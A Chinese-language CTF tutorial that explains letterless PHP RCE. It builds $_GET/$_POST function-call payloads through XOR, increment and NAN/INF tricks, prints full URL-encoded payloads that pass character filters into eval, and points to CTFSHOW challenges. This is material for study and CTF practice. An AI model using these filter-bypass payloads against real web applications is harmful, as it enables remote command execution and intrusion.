无字母RCE
1 |
|
异或
借助异或构造payload如下
1 | $__=("#"^"|"); // _ |
然后我们再取消一下换行符,将它合并于一行之中
1 | $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]); // $_POST[_]($_POST[__]); |
最后进行一次URL编码
1 | code=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B |
或者直接多个字符一起异或,根据未过滤字符构造目标脚本:
1 | valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " # 没有被过滤的字符 |
自增
官方文档如下
https://www.php.net/manual/zh/language.operators.increment.php
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符,比如现在我们获取到了
$_=A
,我们进行$_++
,此时$_
就变成了B
,同理就可以构造出GET
以及POST
字符,接下来以例子来进行讲解,这里例题的话还用之前的demo在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中$a = 'Z'; $a++;
将把$a
变成'AA'
,而在 C 中,a = 'Z'; a++;
将把a
变成'['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯 ASCII 字母数字(a-z、A-Z 和 0-9)。递增/递减其他字符变量则无效,原字符串没有变化。
我们首先可以写一个[]
看一下
1 |
|
可以看到它就是一个数组,我们无法获取它的这个Array
字符,那我们该怎么获取呢,我们尝试字符拼接
1 |
|
成功获取到了字符Array
,然后我们获取想获取A的话,就可以采用$_[0]
这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]
里加一个==$
,此时因为空
和$
不同,它就会输出0
,此时也就等同于$_[0]
,在有些版本中[]
中间为非数字字符也会被当做下标0
1 |
|
此时成功获取到了字符A
,有了A
,我们就可以通过自增依次获取其他字符,我们尝试获取一个字符G
1 |
|
然后看我们这里的代码的话,是eval($code)
,所以我们就可以构造这种的$_GET[1]($_GET[0])
,这个时候我们就可以system(ls)
这种命令的执行,所以接下来的话就开始构造
1 |
|
接下来就可以尝试去给_
和__
GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样
1 | $_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]); |
而后变成
1 | %24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B |
1 | // 附assert($_POST[__]) |
其他1
在自增中,可以通过特殊字符构造出字符串的有以下几种方式
1 | [].'' //Array |
这个时候就有一个问题了,如果ban了数字,我们该怎么去构造NAN
和INF
呢,这个时候就需要讲到一个知识点,我们这里的话需要说一下这个NAN
和INF
1 | NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。 |
这里可以看出NAN
表示的是未被定义的值,所以我们这里可以通过a/a
这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_
,这个时候也可以得到NAN
,同理,INF
也可以通过1/a
的方式获取。
其他2
我们在构造$_POST
中的_
时,正常操作的话是这样,$a='_'.$b(假设这里$b就是POST)
,然后这个时候如果'
被ban,看似这里是无法再利用了,但其实,我们直接写$a=_.$b
也是可以的,这个时候效果同上而且缩短了字符长度。
取反
1 |
|
例题
CTFSHOW RCE挑战1-5 https://ctf.show/challenges#RCE挑战1-3916 / 2-3917 / 3-3918 ….